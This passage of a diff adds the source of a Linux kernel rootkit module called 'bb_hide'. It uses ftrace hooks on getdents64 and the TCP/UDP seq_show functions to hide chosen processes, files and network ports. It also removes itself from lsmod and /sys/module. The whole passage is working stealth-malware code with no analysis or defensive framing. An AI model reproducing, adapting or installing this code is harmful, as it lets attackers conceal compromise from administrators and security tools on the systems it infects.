KERNEL_VERSION(5, 7, 0) +/* Since 5.7, kallsyms_lookup_name is not exported. + * Use a kprobe to find it. */ +static unsigned long lookup_name(const char *name) +{ + struct kprobe kp = { .symbol_name = name }; + unsigned long addr; + int ret; + + ret = register_kprobe(&kp); + if (ret < 0) + return 0; + addr = (unsigned long)kp.addr; + unregister_kprobe(&kp); + return addr; +} +#else +#define lookup_name kallsyms_lookup_name +#endif + +/* --- Hooked getdents64 for file and process hiding --- */ + +/* + * We hook getdents64 via a kprobe on the return path. + * After the real getdents64 returns, we scan the dirent buffer + * and remove entries matching our hide criteria. + */ + +/* We use a kretprobe to post-process getdents64 results */ +static int (*orig_getdents64)(unsigned int fd, struct linux_dirent64 __user *dirent, + unsigned int count); + +/* Track which fd is /proc or a hidden directory */ +struct getdents_data { + int fd; + struct linux_dirent64 __user *dirent; + unsigned int count; + bool is_proc; + char path[256]; +}; + +/* + * kprobe-based approach: hook __x64_sys_getdents64 entry and return. + * On return, filter the dirent buffer in userspace. + */ + +static struct kprobe kp_getdents64; + +/* We use a simpler approach: kprobe on filldir64 or iterate_dir callbacks. + * However, the most portable approach is a kretprobe on the vfs_readdir path. + * + * For maximum compatibility, we use the ftrace-based function hooking pattern + * that works across kernel versions 4.x - 6.x. + */ + +/* --- Ftrace hook structure --- */ + +struct ftrace_hook { + const char *name; + void *function; + void *original; + unsigned long address; + struct ftrace_ops ops; +}; + +static int resolve_hook_address(struct ftrace_hook *hook) +{ + hook->address = lookup_name(hook->name); + if (!hook->address) { + pr_err("bb_hide: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } + *((unsigned long *)hook->original) = hook->address; + return 0; +} + +static void notrace ftrace_thunk(unsigned long ip, unsigned long parent_ip, + struct ftrace_ops *ops, struct ftrace_regs *fregs) +{ + struct pt_regs *regs = ftrace_get_regs(fregs); + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + + /* Skip if called from within our own module to avoid recursion */ + if (!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long)hook->function; +} + +static int install_hook(struct ftrace_hook *hook) +{ + int err; + + err = resolve_hook_address(hook); + if (err) + return err; + + hook->ops.func = ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION + | FTRACE_OPS_FL_IPMODIFY; + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if (err) { + pr_err("bb_hide: ftrace_set_filter_ip failed: %d\n", err); + return err; + } + + err = register_ftrace_function(&hook->ops); + if (err) { + pr_err("bb_hide: register_ftrace_function failed: %d\n", err); + ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + return err; + } + + return 0; +} + +static void remove_hook(struct ftrace_hook *hook) +{ + int err; + err = unregister_ftrace_function(&hook->ops); + if (err) + pr_err("bb_hide: unregister_ftrace_function failed: %d\n", err); + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if (err) + pr_err("bb_hide: ftrace_set_filter_ip remove failed: %d\n", err); +} + +/* ================================================================ + * Hooked functions + * ================================================================ */ + +/* --- Hook: getdents64 (file and /proc process hiding) --- */ + +static asmlinkage long (*real_getdents64)(const struct pt_regs *regs); + +static asmlinkage long hook_getdents64(const struct pt_regs *regs) +{ + struct linux_dirent64 __user *dirent; + struct linux_dirent64 *cur, *prev, *kbuf; + long ret; + unsigned long offset; + char dir_path[256]; + char *pathbuf; + struct fd f; + bool filtering_proc = false; + bool filtering_files = false; + + /* Call the original first */ + ret = real_getdents64(regs); + if (ret <= 0) + return ret; + + dirent = (struct linux_dirent64 __user *)regs->si; + + /* Determine what directory we're reading */ + f = fdget((unsigned int)regs->di); + if (f.file) { + pathbuf = kmalloc(256, GFP_KERNEL); + if (pathbuf) { + char *p = d_path(&f.file->f_path, pathbuf, 256); + if (!IS_ERR(p)) { + strncpy(dir_path, p, sizeof(dir_path) - 1); + dir_path[sizeof(dir_path) - 1] = '\0'; + if (strcmp(dir_path, "/proc") == 0) + filtering_proc = true; + else + filtering_files = true; + } + kfree(pathbuf); + } + fdput(f); + } + + if (!filtering_proc && !filtering_files) + return ret; + + /* Copy dirent buffer to kernel space for inspection */ + kbuf = kzalloc(ret, GFP_KERNEL); + if (!kbuf) + return ret; + + if (copy_from_user(kbuf, dirent, ret)) { + kfree(kbuf); + return ret; + } + + /* Walk the dirent buffer and remove hidden entries */ + prev = NULL; + offset = 0; + while (offset < ret) { + cur = (struct linux_dirent64 *)((char *)kbuf + offset); + + bool hide = false; + + if (filtering_proc && is_proc_pid_hidden(cur->d_name)) + hide = true; + + if (filtering_files && should_hide_name(cur->d_name)) + hide = true; + + if (hide) { + /* Remove this entry by shifting subsequent entries back */ + long remaining = ret - offset - cur->d_reclen; + if (remaining > 0) + memmove(cur, (char *)cur + cur->d_reclen, remaining); + ret -= cur->d_reclen; + /* Don't advance offset — next entry is now at current position */ + } else { + prev = cur; + offset += cur->d_reclen; + } + } + + /* Copy filtered buffer back to userspace */ + if (copy_to_user(dirent, kbuf, ret)) { + kfree(kbuf); + return ret; + } + + kfree(kbuf); + return ret; +} + +/* --- Hook: tcp4_seq_show (hide /proc/net/tcp entries) --- */ + +static asmlinkage int (*real_tcp4_seq_show)(struct seq_file *seq, void *v); + +static asmlinkage int hook_tcp4_seq_show(struct seq_file *seq, void *v) +{ + struct sock *sk; + struct inet_sock *inet; + + if (v == SEQ_START_TOKEN) + return real_tcp4_seq_show(seq, v); + + sk = (struct sock *)v; + inet = inet_sk(sk); + + if (inet) { + u16 src_port = ntohs(inet->inet_sport); + u16 dst_port = ntohs(inet->inet_dport); + + if (is_port_hidden(src_port) || is_port_hidden(dst_port)) + return 0; /* Skip this entry */ + } + + return real_tcp4_seq_show(seq, v); +} + +/* --- Hook: udp4_seq_show (hide /proc/net/udp entries) --- */ + +static asmlinkage int (*real_udp4_seq_show)(struct seq_file *seq, void *v); + +static asmlinkage int hook_udp4_seq_show(struct seq_file *seq, void *v) +{ + struct sock *sk; + struct inet_sock *inet; + + if (v == SEQ_START_TOKEN) + return real_udp4_seq_show(seq, v); + + sk = (struct sock *)v; + inet = inet_sk(sk); + + if (inet) { + u16 src_port = ntohs(inet->inet_sport); + u16 dst_port = ntohs(inet->inet_dport); + + if (is_port_hidden(src_port) || is_port_hidden(dst_port)) + return 0; + } + + return real_udp4_seq_show(seq, v); +} + +/* ================================================================ + * Hook table + * ================================================================ */ + +static struct ftrace_hook hooks[] = { + { + .name = "__x64_sys_getdents64", + .function = hook_getdents64, + .original = &real_getdents64, + }, + { + .name = "tcp4_seq_show", + .function = hook_tcp4_seq_show, + .original = &real_tcp4_seq_show, + }, + { + .name = "udp4_seq_show", + .function = hook_udp4_seq_show, + .original = &real_udp4_seq_show, + }, +}; + +#define NHOOKS (sizeof(hooks) / sizeof(hooks[0])) + +/* ================================================================ + * Module self-hiding + * ================================================================ */ + +static struct list_head *saved_mod_list; +static struct list_head *saved_kobj_entry; + +static void hide_module(void) +{ + /* Remove from /proc/modules (lsmod) */ + saved_mod_list = THIS_MODULE->list.prev; + list_del_init(&THIS_MODULE->list); + + /* Remove from /sys/module/ */ + saved_kobj_entry = THIS_MODULE->mkobj.kobj.entry.prev; + kobject_del(&THIS_MODULE->mkobj.kobj); +} + +static void show_module(void) +{ + /* Restore to module list */ + list_add(&THIS_MODULE->list, saved_mod_list); + /* Note: kobject restore is non-trivial; skip for cleanup simplicity */ +} + +/* ================================================================ + * Init / Exit + * ================================================================ */ + +static int __init bb_hide_init(void) +{ + int i, err; + + pr_info("bb_hide: loading\n"); + + /* Parse parameter lists */ + parse_pid_list(hide_pids); + parse_port_list(hide_ports); + + pr_info("bb_hide: hiding %d PIDs, %d ports, prefix='%s'\n", + hidden_pid_count, hidden_port_count, hide_prefix); + + /* Install hooks */ + for (i = 0; i < NHOOKS; i++) { + err = install_hook(&hooks[i]); + if (err) { + pr_warn("bb_hide: failed to hook %s (err=%d), skipping\n", + hooks[i].name, err); + hooks[i].address = 0; /* Mark as not installed */ + } + } + + /* Hide ourselves from lsmod and /sys/module/ */ + hide_module(); + + return 0; +} + +static void __exit bb_hide_exit(void) +{ + int i; + + /* Unhide module first so rmmod can find us */ + show_module(); + + /* Remove hooks in reverse order */ + for (i = NHOOKS - 1; i >= 0; i--) { + if (hooks[i].address) + remove_hook(&hooks[i]); + } + + pr_info("bb_hide: unloaded\n"); +} + +module_init(bb_hide_init); +module_exit(bb_hide_exit);